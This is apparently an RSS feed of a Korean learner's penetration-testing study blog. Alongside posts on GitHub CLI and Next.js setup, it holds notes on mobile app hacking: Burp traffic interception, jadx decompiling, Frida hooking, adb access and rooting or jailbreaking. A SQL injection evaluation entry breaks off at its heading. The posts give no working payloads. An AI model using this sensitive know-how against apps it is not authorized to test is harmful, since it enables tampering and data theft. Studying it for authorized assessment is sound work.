<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>모의해킹 공부중</title>
    <link>https://hanse84.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Wed, 3 Jun 2026 13:53:56 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>hanse84</managingEditor>
    <item>
      <title>cursor] github 설치 및 로그인</title>
      <link>https://hanse84.tistory.com/37</link>
      <description>&lt;h2&gt;cli를 통해 깃허브 설치&lt;/h2&gt;
&lt;p&gt;cli.github.com&lt;/p&gt;
&lt;p&gt;다운로드 후 설치&lt;/p&gt;
&lt;h2&gt;cursor 터미널에서 설치 확인&lt;/h2&gt;
&lt;p&gt;gh --version&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gh version 2.64.0 (2024-12-20)
https://github.com/cli/cli/releases/tag/v2.64.0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;위와 같이 버전이 뜨면 설치가 잘 된 것.&lt;/p&gt;
&lt;h2&gt;깃허브 로그인&lt;/h2&gt;
&lt;p&gt;gh auth login&lt;/p&gt;
&lt;p&gt;github.com&lt;br&gt;https&lt;br&gt;login with a web browser&lt;br&gt;뜨는 원타임코드 잘 복사해 두기 -&amp;gt; 로그인 진행&lt;/p&gt;</description>
      <category>개발/ai driven development</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/37</guid>
      <comments>https://hanse84.tistory.com/37#entry37comment</comments>
      <pubDate>Mon, 27 Jan 2025 18:26:37 +0900</pubDate>
    </item>
    <item>
      <title>cursor에 next.js 세팅</title>
      <link>https://hanse84.tistory.com/36</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;터미널&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;npx shadcn@latest init&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What is your project named?&lt;br /&gt;이미 폴더를 생성했으므로, 이 폴더에 바로 설치한다는 뜻으로 콤마를 넣으면 된다. &lt;b&gt;.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Which style would you like to use? &amp;raquo; New York (shadcn 스타일)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Which color would you like to use as the base color? &amp;raquo; Zinc&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;next.js 서버 실행&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;npm run dev&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;Next.js&amp;nbsp;14.2.16 &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;Local:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;http://localhost:3000 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;✓&amp;nbsp;Starting... &lt;br /&gt;&amp;nbsp;✓&amp;nbsp;Ready&amp;nbsp;in&amp;nbsp;12.2s&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와같이 출력되고, http://localhost:3000 로 정상 접속된다면 완료.&lt;/p&gt;</description>
      <category>개발/ai driven development</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/36</guid>
      <comments>https://hanse84.tistory.com/36#entry36comment</comments>
      <pubDate>Mon, 27 Jan 2025 18:10:17 +0900</pubDate>
    </item>
    <item>
      <title>[모바일 앱 해킹 입문] Android App 컴파일 툴 / Frida / 앞으로 공부할 방향</title>
      <link>https://hanse84.tistory.com/35</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Android App&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;툴&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #f6e199;&quot;&gt;&lt;b&gt;jadx-gui&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;-&amp;gt;&amp;nbsp;compile&lt;br /&gt;&lt;br /&gt;프로그래밍&amp;nbsp;언어&amp;nbsp;-&amp;gt;&amp;nbsp;binary&lt;br /&gt;Android 앱은 JAVA 기반이다.&lt;br /&gt;&lt;br /&gt;**&amp;nbsp;교양&lt;br /&gt;JAVA가 처음 나왔을 때,&amp;nbsp; 환호함&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;gt; 마법의 언어다!&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;gt; 왜? 멀티 플랫폼 언어이기 때문 (하나의 코드로 멀티 OS에서 실행됨.)&lt;br /&gt;&lt;br /&gt;JAVA&amp;nbsp;-&amp;gt;&amp;nbsp;class&amp;nbsp;(java&amp;nbsp;assem)&amp;nbsp;-&amp;gt;&amp;nbsp;JVM&amp;nbsp;(자바&amp;nbsp;가상머신)&lt;br /&gt;JVM&amp;nbsp;위에서&amp;nbsp;JAVA&amp;nbsp;프로그램이&amp;nbsp;돌아가는&amp;nbsp;것.&lt;br /&gt;&lt;br /&gt;단,&amp;nbsp;모바일&amp;nbsp;버전에서는&amp;nbsp;class를&amp;nbsp;사용하지&amp;nbsp;않음.&lt;br /&gt;&lt;br /&gt;JAVA&amp;nbsp;&amp;gt;&amp;nbsp;smali&amp;nbsp;(android&amp;nbsp;assem)&amp;nbsp;-&amp;gt;&amp;nbsp;dex&lt;br /&gt;&lt;u&gt;&lt;b&gt;dex파일이&amp;nbsp;android&amp;nbsp;실행&amp;nbsp;파일&lt;/b&gt;&lt;/u&gt;&amp;nbsp;이다.&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;역으로&amp;nbsp;원상&amp;nbsp;복구가&amp;nbsp;가능한&amp;nbsp;파일이다.&amp;nbsp;-&amp;gt;&amp;nbsp;jadx&amp;nbsp;툴&lt;/span&gt;&lt;br /&gt;(소스코드를&amp;nbsp;우리가&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있다.)&lt;br /&gt;&lt;br /&gt;APK&amp;nbsp;파일&amp;nbsp;-&amp;gt;&amp;nbsp;압축&amp;nbsp;파일&amp;nbsp;(복호화가&amp;nbsp;필요함.&amp;nbsp;위&amp;nbsp;툴에&amp;nbsp;올리면&amp;nbsp;자동&amp;nbsp;복호화까지&amp;nbsp;가능함.)&lt;br /&gt;&lt;br /&gt;APK 파일 설치할 때, adb 사용하면 됨.&lt;br /&gt;adb&amp;nbsp;install&amp;nbsp;파일명&amp;nbsp;&amp;gt;&amp;nbsp;녹스에서&amp;nbsp;실행&lt;br /&gt;&lt;br /&gt;Android&amp;nbsp;App&lt;br /&gt;Acrivity&amp;nbsp;:&amp;nbsp;하나의&amp;nbsp;화면&lt;br /&gt;-&amp;gt;&amp;nbsp;JAVA이기&amp;nbsp;때문에&amp;nbsp;이것도&amp;nbsp;class&amp;nbsp;임.&lt;br /&gt;&lt;br /&gt;실행할&amp;nbsp;화면&amp;nbsp;만들고,&amp;nbsp;그&amp;nbsp;위에&amp;nbsp;Activity&amp;nbsp;만드는&amp;nbsp;것.&lt;br /&gt;&lt;br /&gt;첫 화면이 로그인이라면, 버튼 클릭했을 때 어떤 코드가 실행되는가?&lt;br /&gt;가장&amp;nbsp;먼저&amp;nbsp;실행되는&amp;nbsp;Acrivity가&amp;nbsp;무엇인지&amp;nbsp;찾아내야&amp;nbsp;함.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #f6e199;&quot;&gt;&lt;b&gt;AndroidManifest.xml&amp;nbsp;:&amp;nbsp;이&amp;nbsp;앱에&amp;nbsp;관한&amp;nbsp;설정이&amp;nbsp;모두&amp;nbsp;들어가있는&amp;nbsp;파일임.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;-&amp;nbsp;App&amp;nbsp;식별자&amp;nbsp;(가&amp;nbsp;무엇인지&amp;nbsp;정의되어&amp;nbsp;있음.)&lt;br /&gt;package=&quot;com.insecureshop&quot;&amp;nbsp;-&amp;gt;&amp;nbsp;이게&amp;nbsp;식별자(앱&amp;nbsp;이름)임.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;권한&amp;nbsp;(볼&amp;nbsp;수&amp;nbsp;있다)&lt;br /&gt;- Activity 각각의 activity 정의 되어 있음.&lt;br /&gt;-&amp;nbsp;태그&amp;nbsp;중&lt;br /&gt;-&amp;nbsp;&lt;span style=&quot;background-color: #f6e199; color: #ee2323;&quot;&gt;&lt;b&gt;android.intent.acrion.MAIN&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;-&amp;nbsp;앱을&amp;nbsp;실행했을&amp;nbsp;때&amp;nbsp;가장&amp;nbsp;먼저&amp;nbsp;실행되는&amp;nbsp;화면임.&amp;nbsp;activity&lt;br /&gt;-&amp;nbsp;해당&amp;nbsp;코드를&amp;nbsp;찾으면&amp;nbsp;주목해야&amp;nbsp;할&amp;nbsp;것&lt;br /&gt;-&amp;nbsp;&lt;span style=&quot;color: #ee2323; background-color: #f6e199;&quot;&gt;&lt;b&gt;onCreate&lt;/b&gt;&lt;/span&gt;&amp;nbsp;(앱&amp;nbsp;실행하자마자&amp;nbsp;가장&amp;nbsp;먼저&amp;nbsp;실행되는&amp;nbsp;함수)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;앞으로 공부는..&lt;br /&gt;&lt;br /&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;# Mobile App 개발하기!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Android&amp;nbsp;:&amp;nbsp;Java&amp;nbsp;로&amp;nbsp;개발&amp;nbsp;추천&lt;br /&gt;iOS&amp;nbsp;:&amp;nbsp;Swift&lt;br /&gt;&amp;gt; 커뮤니티 +&amp;nbsp;자동로그인 기능 구현&lt;br /&gt;&lt;br /&gt;#&amp;nbsp;Mobile&amp;nbsp;APP&lt;br /&gt;&lt;b&gt;##&amp;nbsp;DVIA&amp;nbsp;Android&lt;/b&gt;&lt;br /&gt;&lt;b&gt;##&amp;nbsp;DIVA&amp;nbsp;iOS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #f6e199;&quot;&gt;&lt;b&gt;##&amp;nbsp;Frida&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;DBI&amp;nbsp;(동적으로&amp;nbsp;바이너리를&amp;nbsp;조사하는&amp;nbsp;툴)&lt;br /&gt;&lt;br /&gt;함수&amp;nbsp;후킹을&amp;nbsp;쉽게&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있다.&lt;br /&gt;&lt;b&gt;(코드의&amp;nbsp;흐름을&amp;nbsp;바꿀&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;내가&amp;nbsp;짠&amp;nbsp;코드를&amp;nbsp;집어넣을&amp;nbsp;수&amp;nbsp;있음.)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;###&amp;nbsp;공부하기&amp;nbsp;좋은&amp;nbsp;사이트&amp;nbsp;:&lt;br /&gt;[fridalab]&lt;br /&gt;&lt;a href=&quot;https://rossmarks.uk/blog/fridalab/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://rossmarks.uk/blog/fridalab/&lt;/a&gt;&lt;br /&gt;1번부터&amp;nbsp;8번까지&amp;nbsp;문제&lt;br /&gt;답&amp;nbsp;풀이&amp;nbsp;보면서&amp;nbsp;공부&amp;nbsp;&amp;gt;&amp;nbsp;정리&amp;nbsp;&amp;gt;&amp;nbsp;문제&amp;nbsp;풀기&lt;br /&gt;익혀보는&amp;nbsp;단계임.&lt;br /&gt;&lt;br /&gt;[frida-labs]&lt;br /&gt;&lt;a href=&quot;https://github.com/DERE-ad2001/Frida-Labs&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/DERE-ad2001/Frida-Labs&lt;/a&gt;&lt;br /&gt;&amp;nbsp;워게임&lt;br /&gt;&amp;nbsp;이건&amp;nbsp;답&amp;nbsp;보지&amp;nbsp;말고&amp;nbsp;직접&amp;nbsp;풀기&lt;br /&gt;&lt;br /&gt;이것만&amp;nbsp;제대로&amp;nbsp;하면&amp;nbsp;됨.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;iOS는&amp;nbsp;디컴파일이&amp;nbsp;없음.&amp;nbsp;&lt;br /&gt;IPA&amp;nbsp;-&amp;nbsp;binary&amp;nbsp;(그냥&amp;nbsp;C언어&amp;nbsp;코드임.)&lt;br /&gt;실행파일&amp;nbsp;&amp;gt;&amp;nbsp;&lt;b&gt;IDA&amp;nbsp;무료버전&lt;/b&gt;&amp;nbsp;(마음에&amp;nbsp;안들면&amp;nbsp;&lt;b&gt;ghidra&lt;/b&gt;&amp;nbsp;사용하면&amp;nbsp;됨.&amp;nbsp;기드라는&amp;nbsp;어셈블리어&amp;nbsp;|&amp;nbsp;대략의&amp;nbsp;C&amp;nbsp;언어&amp;nbsp;코드로&amp;nbsp;디컴파일&amp;nbsp;됨.)&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323; background-color: #f6e199;&quot;&gt;&lt;b&gt;내가&amp;nbsp;만든&amp;nbsp;앱을&amp;nbsp;내가&amp;nbsp;디컴파일&amp;nbsp;해보면&amp;nbsp;읽는&amp;nbsp;게&amp;nbsp;어렵지&amp;nbsp;않음.&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹 공부하기/기타 추가 공부</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/35</guid>
      <comments>https://hanse84.tistory.com/35#entry35comment</comments>
      <pubDate>Thu, 21 Mar 2024 00:39:42 +0900</pubDate>
    </item>
    <item>
      <title>모바일 앱 해킹 입문 (개념, 포인트별 취약점, 취약점별  해킹, 환경세팅)</title>
      <link>https://hanse84.tistory.com/34</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;모바일&amp;nbsp;해킹 vs&amp;nbsp;모바일&amp;nbsp;앱&amp;nbsp;해킹&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 모바일 해킹&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트폰 자체를 해킹하는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) 카메라 제어, 메시지 훔쳐보기, 녹음기능 활성화 등&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제를 해킹해야 한다. Android / iOS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페가수스 멀웨어 (스파이앱)을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 모바일 앱 해킹&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모바일 안에 설치한 앱들을 해킹하는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) 카카오톡 해킹 : 다른 사람의 채팅을 읽거나, 구매하지 않은 이모티콘을 사용하거나 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 크게 두 부류로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;서버 측 취약점, 단말기 취약점&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 서버 측 취약점&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱 서버를 해킹한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단말기와 앱 서버는 HTTP 통신(웹 통신)을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 많은 기업들이 구축해 둔 웹 사이트의 웹 서버의 API를 그대로 가져다 쓰기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통신이 깔끔하고, 구현이 쉽다는 장점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[통신에 따른 모바일 앱]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 웹 앱 : 웹 사이트를 그대로 모바일로 연결한 것 (반응형)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 하이브리드 앱 : API를 HTTP로 구현한 것 (대부분이 하이브리드앱이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 네이티브 앱 : TCP 통신을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; [통신에 따른 모바일 앱 해킹하는 법] &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 웹 앱 :&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp 사용. 웹 앱과 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 하이브리드 앱 :&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp 사용.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단말기와 PC를 연결해야 한다. (유선 or 녹스)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp 세팅은 다음과 같이 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시 세팅 &amp;gt; 프록시 리스너(포트 열고 중간자로서 지켜봄)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt; Add &amp;gt; Bind to port &amp;gt; 원하는 포트 번호 적기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이때 모바일은 컴퓨터와 같은 wifi 망에 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트폰 안에서 wifi 설정 &amp;gt; 프록시 구성(설정) &amp;gt; 192.168.0.1 9999 (pc의 내부 ip 적기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 설치 : https 통신 하려면 burp의 인증서가 핸드폰에 설치 되어 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(구글링&amp;nbsp;android/ios&amp;nbsp;burp&amp;nbsp;인증서&amp;nbsp;설치)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 네이티브 앱&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TCP 통신을 하기 때문에 쉽지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에선 아주 가끔 만날 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NoPE 모듈 :&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp에 NoPE 모듈이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nope-Proxy를 설치하면 Burp에 탭이 하나 더 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 설명서 보고 따라 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간에서 데이터를 가로채서 봐야 하는데, 그러려면 내 컴퓨터를 거쳐서 가게 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때는 DNS를 건드린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) tcp.segfault.com (DNS 서버 인척하기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;frida :&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모바일 앱 후킹 (동적 분석 툴)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 앱 단말기 취약점&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[접근 방법]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;- 메모리&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;- 저장 공간&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에 사용자 정보가 평문으로 저장되어 있는지 보는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해킹 당하거나, 단말기를 탈취당했을 때 노출되지 않기 위한 보호 조치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;- 앱의 흐름 제어&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하여 문제가 있는 행동을 할 수 있는지? 확인하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) 모바일 앱 게임 - 점수 조작, 재화 소모해야 이용할 수 있는 기능을 무료로 이용 한다던지..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[메모리, 저장 공간 찾는 방법]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트폰 OS(android, iOS 모두 linux 기반이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt; 핸드폰의 터미널로 들어가자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉘 들어가는 방법 : adb&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글링&amp;nbsp;)&amp;nbsp;adb&amp;nbsp;설치&amp;nbsp;방법,&amp;nbsp;adb&amp;nbsp;다운로드&amp;nbsp;방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폰과&amp;nbsp;PC&amp;nbsp;유선&amp;nbsp;연결하여&amp;nbsp;adb&amp;nbsp;접속&amp;nbsp;가능함.&lt;br /&gt;녹스라면,&amp;nbsp;&lt;br /&gt;adb&amp;nbsp;connect&amp;nbsp;127.0.0.1:62001&lt;br /&gt;adb&amp;nbsp;shell&lt;br /&gt;&lt;br /&gt;data/data&lt;br /&gt;나오는&amp;nbsp;것들이&amp;nbsp;하나하나가&amp;nbsp;앱임.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[환경 세팅]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;nbsp;루팅&amp;nbsp;/&amp;nbsp;탈옥&amp;nbsp;반드시&amp;nbsp;필요함.&lt;br /&gt;root&amp;nbsp;권한&amp;nbsp;획득(에&amp;nbsp;목적이&amp;nbsp;있는&amp;nbsp;행동)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iPhone :&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 버전이 아니어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 버전별로 취약점이 존재하며, 그걸 이용해서 탈옥한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 탈옥이 없는 상태라면 기다려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Adroid :&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핸드폰으로 해도 되고, 녹스가 가능하다면 녹스로 진행해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹 공부하기/기타 추가 공부</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/34</guid>
      <comments>https://hanse84.tistory.com/34#entry34comment</comments>
      <pubDate>Thu, 21 Mar 2024 00:30:37 +0900</pubDate>
    </item>
    <item>
      <title>[금취분평] SQL Injection</title>
      <link>https://hanse84.tistory.com/33</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[상세설명]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 간섭 가능한 매개변수(URL 파라미터, XML 등)에 의해 SQL 질의문이 완성되는 점을 이용하여, 해당 매개변수 변조를 통해 비정상 질의 가능 여부를 점검&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;&lt;b&gt;[평가 예시]&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
